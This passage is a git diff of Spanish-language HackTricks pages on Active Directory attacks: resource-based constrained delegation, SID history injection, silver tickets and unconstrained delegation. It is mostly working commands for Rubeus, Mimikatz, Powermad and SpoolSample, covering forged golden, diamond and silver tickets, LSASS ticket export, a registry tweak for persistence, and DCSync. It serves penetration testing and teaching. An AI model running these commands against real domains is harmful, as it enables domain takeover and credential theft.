enlaces duros ha sido mitigada en las actualizaciones r ## Organización de la Gestión -En entornos donde se despliega **Microsoft Exchange**, un grupo especial conocido como **Organización de Gestión** tiene capacidades significativas. Este grupo tiene privilegios para **acceder a los buzones de todos los usuarios del dominio** y mantiene **control total sobre la Unidad Organizativa (OU) 'Grupos de Seguridad de Microsoft Exchange'**. Este control incluye el grupo **`Exchange Windows Permissions`**, que puede ser explotado para la escalación de privilegios. +En entornos donde se despliega **Microsoft Exchange**, un grupo especial conocido como **Organización de Gestión** posee capacidades significativas. Este grupo tiene privilegios para **acceder a los buzones de todos los usuarios del dominio** y mantiene **control total sobre la Unidad Organizativa (OU) 'Grupos de Seguridad de Microsoft Exchange'**. Este control incluye el grupo **`Exchange Windows Permissions`**, que puede ser explotado para la escalación de privilegios. ### Explotación de Privilegios y Comandos @@ -212,7 +212,7 @@ En entornos donde se despliega **Microsoft Exchange**, un grupo especial conocid Los miembros del grupo **Operadores de Impresión** están dotados de varios privilegios, incluyendo el **`SeLoadDriverPrivilege`**, que les permite **iniciar sesión localmente en un Controlador de Dominio**, apagarlo y gestionar impresoras. Para explotar estos privilegios, especialmente si **`SeLoadDriverPrivilege`** no es visible en un contexto no elevado, es necesario eludir el Control de Cuentas de Usuario (UAC). Para listar los miembros de este grupo, se utiliza el siguiente comando de PowerShell: -```powershell +```bash Get-NetGroupMember -Identity "Print Operators" -Recurse ``` Para obtener técnicas de explotación más detalladas relacionadas con **`SeLoadDriverPrivilege`**, se deben consultar recursos de seguridad específicos. @@ -220,7 +220,7 @@ Para obtener técnicas de explotación más detalladas relacionadas con **`SeLoa #### Usuarios de Escritorio Remoto A los miembros de este grupo se les concede acceso a PCs a través del Protocolo de Escritorio Remoto (RDP). Para enumerar a estos miembros, están disponibles comandos de PowerShell: -```powershell +```bash Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Desktop Users" ``` @@ -229,16 +229,16 @@ Más información sobre la explotación de RDP se puede encontrar en recursos de #### Usuarios de Gestión Remota Los miembros pueden acceder a PCs a través de **Windows Remote Management (WinRM)**. La enumeración de estos miembros se logra a través de: -```powershell +```bash Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Users" ``` -Para técnicas de explotación relacionadas con **WinRM**, se debe consultar la documentación específica. +Para las técnicas de explotación relacionadas con **WinRM**, se debe consultar la documentación específica. #### Operadores de Servidor -Este grupo tiene permisos para realizar varias configuraciones en Controladores de Dominio, incluyendo privilegios de copia de seguridad y restauración, cambio de hora del sistema y apagado del sistema. Para enumerar los miembros, el comando proporcionado es: -```powershell +Este grupo tiene permisos para realizar varias configuraciones en los Controladores de Dominio, incluyendo privilegios de respaldo y restauración, cambio de hora del sistema y apagado del sistema. Para enumerar los miembros, el comando proporcionado es: +```bash Get-NetGroupMember -Identity "Server Operators" -Recurse ``` ## Referencias diff --git a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md index 0e01dfaa9..e91d40dec 100644 --- a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md +++ b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -7,7 +7,7 @@ Si el **grupo externo** tiene **acceso RDP** a cualquier **computadora** en el dominio actual, un **atacante** podría **comprometer esa computadora y esperar a que él**. Una vez que ese usuario ha accedido a través de RDP, el **atacante puede pivotar a la sesión de ese usuario** y abusar de sus permisos en el dominio externo. -```powershell +```bash # Supposing the group "External Users" has RDP access in the current domain ## lets find where they could access ## The easiest way would be with bloodhound, but you could also run: @@ -36,8 +36,8 @@ Check **otras formas de robar sesiones con otras herramientas** [**en esta pági Si un usuario accede a través de **RDP a una máquina** donde un **atacante** está **esperándolo**, el atacante podrá **inyectar un beacon en la sesión RDP del usuario** y si la **víctima montó su unidad** al acceder por RDP, el **atacante podría acceder a ella**. -En este caso, podrías simplemente **comprometer** el **ordenador original** de la **víctima** escribiendo un **backdoor** en la **carpeta de inicio**. -```powershell +En este caso, podrías simplemente **comprometer** la **computadora original de la víctima** escribiendo un **backdoor** en la **carpeta de inicio**. +```bash # Wait til someone logs in: net logons Logged on users at \\localhost: diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index 1ffaafee0..9b03352d6 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -5,58 +5,58 @@ ## Conceptos Básicos de la Delegación Constrain Basada en Recursos -Esto es similar a la [Delegación Constrain](constrained-delegation.md) básica pero **en lugar** de dar permisos a un **objeto** para **suplantar a cualquier usuario contra un servicio**. La Delegación Constrain Basada en Recursos **establece** en **el objeto quién puede suplantar a cualquier usuario contra él**. +Esto es similar a la [Delegación Constrain](constrained-delegation.md) básica pero **en lugar** de dar permisos a un **objeto** para **suplantar a cualquier usuario contra una máquina**. La Delegación Constrain Basada en Recursos **establece** en **el objeto quién puede suplantar a cualquier usuario contra él**. En este caso, el objeto restringido tendrá un atributo llamado _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ con el nombre del usuario que puede suplantar a cualquier otro usuario contra él. -Otra diferencia importante de esta Delegación Constrain con respecto a las otras delegaciones es que cualquier usuario con **permisos de escritura sobre una cuenta de máquina** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) puede establecer el _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (En las otras formas de Delegación necesitabas privilegios de administrador de dominio). +Otra diferencia importante de esta Delegación Constrain con respecto a las otras delegaciones es que cualquier usuario con **permisos de escritura sobre una cuenta de máquina** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) puede establecer el **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (En las otras formas de Delegación necesitabas privilegios de administrador de dominio). ### Nuevos Conceptos -En la Delegación Constrain se mencionó que el **`TrustedToAuthForDelegation`** flag dentro del valor _userAccountControl_ del usuario es necesario para realizar un **S4U2Self.** Pero eso no es completamente cierto.\ -La realidad es que incluso sin ese valor, puedes realizar un **S4U2Self** contra cualquier usuario si eres un **servicio** (tienes un SPN) pero, si **tienes `TrustedToAuthForDelegation`** el TGS devuelto será **Forwardable** y si **no tienes** ese flag el TGS devuelto **no será** **Forwardable**. +En la Delegación Constrain se mencionó que la **`TrustedToAuthForDelegation`** bandera dentro del valor _userAccountControl_ del usuario es necesaria para realizar un **S4U2Self.** Pero eso no es completamente cierto.\ +La realidad es que incluso sin ese valor, puedes realizar un **S4U2Self** contra cualquier usuario si eres un **servicio** (tienes un SPN) pero, si **tienes `TrustedToAuthForDelegation`** el TGS devuelto será **Forwardable** y si **no tienes** esa bandera el TGS devuelto **no será** **Forwardable**. -Sin embargo, si el **TGS** utilizado en **S4U2Proxy** **NO es Forwardable**, intentar abusar de una **delegación Constrain básica** **no funcionará**. Pero si estás tratando de explotar una **delegación Constrain basada en recursos, funcionará** (esto no es una vulnerabilidad, es una característica, aparentemente). +Sin embargo, si el **TGS** utilizado en **S4U2Proxy** **NO es Forwardable** intentar abusar de una **delegación Constrain básica** **no funcionará**. Pero si estás tratando de explotar una **delegación Constrain basada en recursos, funcionará**. ### Estructura del Ataque -> Si tienes **privilegios equivalentes de escritura** sobre una cuenta de **Computadora**, puedes obtener **acceso privilegiado** en esa máquina. +> Si tienes **privilegios equivalentes de escritura** sobre una cuenta de **Computadora** puedes obtener **acceso privilegiado** en esa máquina. Supongamos que el atacante ya tiene **privilegios equivalentes de escritura sobre la computadora víctima**. -1. El atacante **compromete** una cuenta que tiene un **SPN** o **crea uno** (“Servicio A”). Ten en cuenta que **cualquier** _Usuario Administrador_ sin ningún otro privilegio especial puede **crear** hasta 10 **objetos de Computadora (**_**MachineAccountQuota**_**)** y establecerles un **SPN**. Así que el atacante puede simplemente crear un objeto de Computadora y establecer un SPN. +1. El atacante **compromete** una cuenta que tiene un **SPN** o **crea uno** (“Servicio A”). Ten en cuenta que **cualquier** _Usuario Admin_ sin ningún otro privilegio especial puede **crear** hasta 10 objetos de Computadora (**_MachineAccountQuota_**) y establecerles un **SPN**. Así que el atacante puede simplemente crear un objeto de Computadora y establecer un SPN. 2. El atacante **abusa de su privilegio de ESCRITURA** sobre la computadora víctima (ServicioB) para configurar **delegación constrain basada en recursos para permitir que ServicioA suplantar a cualquier usuario** contra esa computadora víctima (ServicioB). 3. El atacante utiliza Rubeus para realizar un **ataque S4U completo** (S4U2Self y S4U2Proxy) desde Servicio A a Servicio B para un usuario **con acceso privilegiado a Servicio B**. -1. S4U2Self (desde la cuenta SPN comprometida/creada): Solicitar un **TGS de Administrador para mí** (No Forwardable). -2. S4U2Proxy: Usar el **TGS no Forwardable** del paso anterior para solicitar un **TGS** de **Administrador** para el **host víctima**. +1. S4U2Self (desde la cuenta SPN comprometida/creada): Pide un **TGS de Administrador para mí** (No Forwardable). +2. S4U2Proxy: Usa el **TGS no Forwardable** del paso anterior para pedir un **TGS** de **Administrador** para el **host víctima**. 3. Incluso si estás usando un TGS no Forwardable, como estás explotando la delegación constrain basada en recursos, funcionará. 4. El atacante puede **pasar el ticket** y **suplantar** al usuario para obtener **acceso al ServicioB víctima**. Para verificar el _**MachineAccountQuota**_ del dominio puedes usar: -```powershell +```bash Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota ``` ## Ataque ### Creando un Objeto de Computadora -Puedes crear un objeto de computadora dentro del dominio usando [powermad](https://github.com/Kevin-Robertson/Powermad)**:** -```powershell +Puedes crear un objeto de computadora dentro del dominio usando **[powermad](https://github.com/Kevin-Robertson/Powermad):** +```bash import-module powermad New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose # Check if created Get-DomainComputer SERVICEA ``` -### Configuración de R**esource-based Constrained Delegation** +### Configuración de Delegación Constrainida Basada en Recursos **Usando el módulo de PowerShell de activedirectory** -```powershell +```bash Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked ``` **Usando powerview** -```powershell +```bash $ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) @@ -81,7 +81,7 @@ Ahora, se puede realizar el ataque: ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt ``` -Puedes generar más tickets solo pidiendo una vez usando el parámetro `/altservice` de Rubeus: +Puedes generar más tickets para más servicios solo pidiendo una vez usando el parámetro `/altservice` de Rubeus: ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` @@ -95,7 +95,7 @@ En este ejemplo se solicitó un TGS para el servicio **CIFS** desde Administrato ```bash ls \\victim.domain.local\C$ ``` -### Abuso de diferentes tickets de servicio +### Abusar de diferentes tickets de servicio Aprende sobre los [**tickets de servicio disponibles aquí**](silver-ticket.md#available-services). @@ -115,5 +115,6 @@ Aprende sobre los [**tickets de servicio disponibles aquí**](silver-ticket.md#a - [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/) - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object) - [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/) +- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/sid-history-injection.md b/src/windows-hardening/active-directory-methodology/sid-history-injection.md index 4a92f3b28..962d5e2c9 100644 --- a/src/windows-hardening/active-directory-methodology/sid-history-injection.md +++ b/src/windows-hardening/active-directory-methodology/sid-history-injection.md @@ -4,18 +4,46 @@ ## Ataque de Inyección de SID History -El enfoque del **Ataque de Inyección de SID History** es ayudar en la **migración de usuarios entre dominios** mientras se asegura el acceso continuo a los recursos del dominio anterior. Esto se logra **incorporando el Identificador de Seguridad (SID) anterior del usuario en el SID History** de su nueva cuenta. Notablemente, este proceso puede ser manipulado para otorgar acceso no autorizado al agregar el SID de un grupo de alto privilegio (como Enterprise Admins o Domain Admins) del dominio padre al SID History. Esta explotación confiere acceso a todos los recursos dentro del dominio padre. +El enfoque del **Ataque de Inyección de SID History** es ayudar en la **migración de usuarios entre dominios** mientras se asegura el acceso continuo a los recursos del dominio anterior. Esto se logra **incorporando el Identificador de Seguridad (SID) anterior del usuario en el SID History** de su nueva cuenta. Notablemente, este proceso puede ser manipulado para otorgar acceso no autorizado al agregar el SID de un grupo de alto privilegio (como Administradores de Empresa o Administradores de Dominio) del dominio padre al SID History. Esta explotación confiere acceso a todos los recursos dentro del dominio padre. Existen dos métodos para ejecutar este ataque: a través de la creación de un **Golden Ticket** o un **Diamond Ticket**. -Para identificar el SID del grupo **"Enterprise Admins"**, primero se debe localizar el SID del dominio raíz. Tras la identificación, el SID del grupo Enterprise Admins se puede construir agregando `-519` al SID del dominio raíz. Por ejemplo, si el SID del dominio raíz es `S-1-5-21-280534878-1496970234-700767426`, el SID resultante para el grupo "Enterprise Admins" sería `S-1-5-21-280534878-1496970234-700767426-519`. +Para identificar el SID del grupo **"Administradores de Empresa"**, primero se debe localizar el SID del dominio raíz. Tras la identificación, el SID del grupo de Administradores de Empresa se puede construir agregando `-519` al SID del dominio raíz. Por ejemplo, si el SID del dominio raíz es `S-1-5-21-280534878-1496970234-700767426`, el SID resultante para el grupo "Administradores de Empresa" sería `S-1-5-21-280534878-1496970234-700767426-519`. -También se podría usar el SID de los grupos **Domain Admins**, que termina en **512**. +También podrías usar los grupos de **Administradores de Dominio**, que terminan en **512**. -Otra forma de encontrar el SID de un grupo del otro dominio (por ejemplo "Domain Admins") es con: -```powershell +Otra forma de encontrar el SID de un grupo del otro dominio (por ejemplo "Administradores de Dominio") es con: +```bash Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid ``` +> [!WARNING] +> Tenga en cuenta que es posible deshabilitar el historial de SID en una relación de confianza, lo que hará que este ataque falle. + +Según los [**docs**](https://technet.microsoft.com/library/cc835085.aspx): +- **Deshabilitar SIDHistory en relaciones de confianza de bosque** utilizando la herramienta netdom (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`) +- **Aplicar cuarentena de filtro SID a relaciones de confianza externas** utilizando la herramienta netdom (`netdom trust /domain: /quarantine:yes on the domain controller`) +- **Aplicar filtrado de SID a relaciones de confianza de dominio dentro de un solo bosque** no se recomienda, ya que es una configuración no soportada y puede causar cambios disruptivos. Si un dominio dentro de un bosque no es de confianza, entonces no debería ser miembro del bosque. En esta situación, es necesario primero dividir los dominios de confianza y no confiables en bosques separados donde se pueda aplicar el filtrado de SID a una relación de confianza interbosque. + +Consulte esta publicación para obtener más información sobre cómo eludir esto: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4) + +### Diamond Ticket (Rubeus + KRBTGT-AES256) + +La última vez que intenté esto, necesitaba agregar el argumento **`/ldap`**. +```bash +# Use the /sids param +Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap + +# Or a ptt with a golden ticket +## The /ldap command will get the details from the LDAP (so you don't need to put the SID) +## The /printcmd option will print the complete command if later you want to generate a token offline +Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt /ldap /nowrap /printcmd + +#e.g. + +execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd + +# You can use "Administrator" as username or any other string +``` ### Golden Ticket (Mimikatz) con KRBTGT-AES256 ```bash mimikatz.exe "kerberos::golden /user:Administrator /domain: /sid: /sids: /aes256: /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit" @@ -39,16 +67,7 @@ Para más información sobre los tickets dorados, consulta: golden-ticket.md {{#endref}} -### Ticket Diamante (Rubeus + KRBTGT-AES256) -```powershell -# Use the /sids param -Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap -# Or a ptt with a golden ticket -Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt - -# You can use "Administrator" as username or any other string -``` Para más información sobre los tickets de diamante, consulta: {{#ref}} @@ -59,7 +78,7 @@ diamond-ticket.md .\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi ls \\mcorp-dc.moneycorp.local\c$ ``` -Escalar a DA de root o administrador de Enterprise utilizando el hash KRBTGT del dominio comprometido: +Escalar a DA de root o administrador de la empresa utilizando el hash KRBTGT del dominio comprometido: ```bash Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"' @@ -108,8 +127,8 @@ Este es un script de Impacket que **automatiza la escalada de un dominio hijo a El flujo es: -- Obtiene el SID del grupo de Administradores de la Empresa del dominio padre -- Recupera el hash de la cuenta KRBTGT en el dominio hijo +- Obtiene el SID para el grupo de Administradores de la Empresa del dominio padre +- Recupera el hash para la cuenta KRBTGT en el dominio hijo - Crea un Golden Ticket - Inicia sesión en el dominio padre - Recupera credenciales para la cuenta de Administrador en el dominio padre diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index ea6b3a12f..d2111065c 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -2,11 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} - - ## Silver ticket -El ataque de **Silver Ticket** implica la explotación de tickets de servicio en entornos de Active Directory (AD). Este método se basa en **adquirir el hash NTLM de una cuenta de servicio**, como una cuenta de computadora, para falsificar un ticket de Servicio de Concesión de Tickets (TGS). Con este ticket falsificado, un atacante puede acceder a servicios específicos en la red, **suplantando a cualquier usuario**, generalmente con el objetivo de obtener privilegios administrativos. Se enfatiza que el uso de claves AES para falsificar tickets es más seguro y menos detectable. +El ataque de **Silver Ticket** implica la explotación de tickets de servicio en entornos de Active Directory (AD). Este método se basa en **adquirir el hash NTLM de una cuenta de servicio**, como una cuenta de computadora, para falsificar un ticket de Servicio de Concesión de Tickets (TGS). Con este ticket falsificado, un atacante puede acceder a servicios específicos en la red, **suplantando a cualquier usuario**, generalmente con el objetivo de obtener privilegios administrativos. Se enfatiza que usar claves AES para falsificar tickets es más seguro y menos detectable. + +> [!WARNING] +> Los Silver Tickets son menos detectables que los Golden Tickets porque solo requieren el **hash de la cuenta de servicio**, no la cuenta krbtgt. Sin embargo, están limitados al servicio específico que atacan. Además, solo robar la contraseña de un usuario. +Además, si comprometes la **contraseña de una cuenta con un SPN**, puedes usar esa contraseña para crear un Silver Ticket suplantando a cualquier usuario para ese servicio. Para la creación de tickets, se emplean diferentes herramientas según el sistema operativo: @@ -18,6 +20,11 @@ python psexec.py /@ -k -no-pass ``` ### En Windows ```bash +# Using Rubeus +## /ldap option is used to get domain data automatically +## With /ptt we already load the tickt in memory +rubeus.exe asktgs /user: [/rc4: /aes128: /aes256:] /domain: /ldap /service:cifs/domain.local /ptt /nowrap /printcmd + # Create the ticket mimikatz.exe "kerberos::golden /domain: /sid: /rc4: /user: /service: /target:" @@ -32,18 +39,18 @@ El servicio CIFS se destaca como un objetivo común para acceder al sistema de a ## Servicios Disponibles -| Tipo de Servicio | Tickets de Servicio Silver | -| ------------------------------------------ | ------------------------------------------------------------------------- | -| WMI |

HOST

RPCSS

| +| Tipo de Servicio | Tickets Silver del Servicio | +| ------------------------------------------ | ------------------------------------------------------------------------ | +| WMI |

HOST

RPCSS

| | PowerShell Remoting |

HOST

HTTP

Dependiendo del SO también:

WSMAN

RPCSS

| | WinRM |

HOST

HTTP

En algunas ocasiones puedes simplemente pedir: WINRM

| -| Tareas Programadas | HOST | -| Compartición de Archivos de Windows, también psexec | CIFS | -| Operaciones LDAP, incluido DCSync | LDAP | -| Herramientas de Administración de Servidores Remotos de Windows |

RPCSS

LDAP

CIFS

| -| Tickets Dorados | krbtgt | +| Tareas Programadas | HOST | +| Compartición de Archivos de Windows, también psexec | CIFS | +| Operaciones LDAP, incluido DCSync | LDAP | +| Herramientas de Administración Remota de Windows |

RPCSS

LDAP

CIFS

| +| Tickets Dorados | krbtgt | -Usando **Rubeus** puedes **pedir todos** estos tickets usando el parámetro: +Usando **Rubeus** puedes **solicitar todos** estos tickets usando el parámetro: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` @@ -53,7 +60,11 @@ Usando **Rubeus** puedes **pedir todos** estos tickets usando el parámetro: - 4634: Cierre de Sesión de Cuenta - 4672: Inicio de Sesión de Administrador -## Abusando de Tickets de Servicio +## Persistencia + +Para evitar que las máquinas roten su contraseña cada 30 días, establece `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` o podrías establecer `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` a un valor mayor de 30 días para indicar el período de rotación cuando la contraseña de las máquinas debe ser rotada. + +## Abusando de los tickets de Servicio En los siguientes ejemplos imaginemos que el ticket se recupera suplantando la cuenta de administrador. @@ -126,15 +137,17 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc ``` **Aprende más sobre DCSync** en la siguiente página: -## Referencias - -- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) -- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - {{#ref}} dcsync.md {{#endref}} +## Referencias + +- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) +- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) +- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md index 65e426ee7..70bedb1e4 100644 --- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -1,45 +1,52 @@ -# Delegación No Restringida +# Unconstrained Delegation {{#include ../../banners/hacktricks-training.md}} -## Delegación no restringida +## Unconstrained delegation -Esta es una característica que un Administrador de Dominio puede establecer en cualquier **Computadora** dentro del dominio. Luego, cada vez que un **usuario inicia sesión** en la Computadora, una **copia del TGT** de ese usuario se va a **enviar dentro del TGS** proporcionado por el DC **y se guardará en memoria en LSASS**. Así que, si tienes privilegios de Administrador en la máquina, podrás **extraer los tickets e impersonar a los usuarios** en cualquier máquina. +Esta es una característica que un Administrador de Dominio puede establecer en cualquier **Computadora** dentro del dominio. Luego, cada vez que un **usuario inicia sesión** en la Computadora, una **copia del TGT** de ese usuario será **enviada dentro del TGS** proporcionado por el DC **y guardada en memoria en LSASS**. Así que, si tienes privilegios de Administrador en la máquina, podrás **extraer los tickets e impersonar a los usuarios** en cualquier máquina. -Entonces, si un administrador de dominio inicia sesión en una Computadora con la característica de "Delegación No Restringida" activada, y tú tienes privilegios de administrador local en esa máquina, podrás extraer el ticket e impersonar al Administrador de Dominio en cualquier lugar (privesc de dominio). +Entonces, si un administrador de dominio inicia sesión en una Computadora con la característica de "Unconstrained Delegation" activada, y tú tienes privilegios de administrador local en esa máquina, podrás extraer el ticket e impersonar al Administrador de Dominio en cualquier lugar (domain privesc). Puedes **encontrar objetos de Computadora con este atributo** verificando si el atributo [userAccountControl]() contiene [ADS_UF_TRUSTED_FOR_DELEGATION](). Puedes hacer esto con un filtro LDAP de ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, que es lo que hace powerview: - -
# Listar computadoras no restringidas
+```bash
+# List unconstrained computers
 ## Powerview
-Get-NetComputer -Unconstrained #Los DCs siempre aparecen pero no son útiles para privesc
-## ADSearch
-ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
-# Exportar tickets con Mimikatz
-privilege::debug
-sekurlsa::tickets /export #Forma recomendada
-kerberos::list /export #Otra forma
+## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
+Get-DomainComputer –Unconstrained –Properties name
+Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
 
-# Monitorear inicios de sesión y exportar nuevos tickets
-.\Rubeus.exe monitor /targetuser: /interval:10 #Verificar cada 10s por nuevos TGTs
+## ADSearch +ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem -Carga el ticket de Administrador (o usuario víctima) en memoria con **Mimikatz** o **Rubeus para un** [**Pass the Ticket**](pass-the-ticket.md)**.**\ -Más info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\ +# Export tickets with Mimikatz +## Access LSASS memory +privilege::debug +sekurlsa::tickets /export #Recommended way +kerberos::list /export #Another way + +# Monitor logins and export new tickets +## Doens't access LSASS memory directly, but uses Windows APIs +Rubeus.exe dump +Rubeus.exe monitor /interval:10 [/filteruser:] #Check every 10s for new TGTs +``` +Cargue el ticket del Administrador (o usuario víctima) en memoria con **Mimikatz** o **Rubeus para un** [**Pass the Ticket**](pass-the-ticket.md)**.**\ +Más información: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\ [**Más información sobre la delegación no restringida en ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) ### **Forzar Autenticación** -Si un atacante puede **comprometer una computadora permitida para "Delegación No Restringida"**, podría **engañar** a un **servidor de impresión** para **iniciar sesión automáticamente** contra él **guardando un TGT** en la memoria del servidor.\ -Luego, el atacante podría realizar un **ataque Pass the Ticket para impersonar** la cuenta de computadora del servidor de impresión del usuario. +Si un atacante puede **comprometer una computadora permitida para "Delegación No Restringida"**, podría **engañar** a un **servidor de impresión** para que **inicie sesión automáticamente** contra él **guardando un TGT** en la memoria del servidor.\ +Luego, el atacante podría realizar un **ataque Pass the Ticket para suplantar** la cuenta de computadora del usuario del servidor de impresión. -Para hacer que un servidor de impresión inicie sesión contra cualquier máquina, puedes usar [**SpoolSample**](https://github.com/leechristensen/SpoolSample): +Para hacer que un servidor de impresión inicie sesión contra cualquier máquina, puede usar [**SpoolSample**](https://github.com/leechristensen/SpoolSample): ```bash .\SpoolSample.exe ``` Si el TGT proviene de un controlador de dominio, podrías realizar un [**ataque DCSync**](acl-persistence-abuse/index.html#dcsync) y obtener todos los hashes del DC.\ [**Más información sobre este ataque en ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation) -**Aquí hay otras formas de intentar forzar una autenticación:** +Encuentra aquí otras formas de **forzar una autenticación:** {{#ref}} printers-spooler-service-abuse.md diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md index 7cb0ced0b..a740a73f1 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md @@ -9,10 +9,10 @@ Una lista blanca de aplicaciones es una lista de aplicaciones de software o ejec [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) es la **solución de lista blanca de 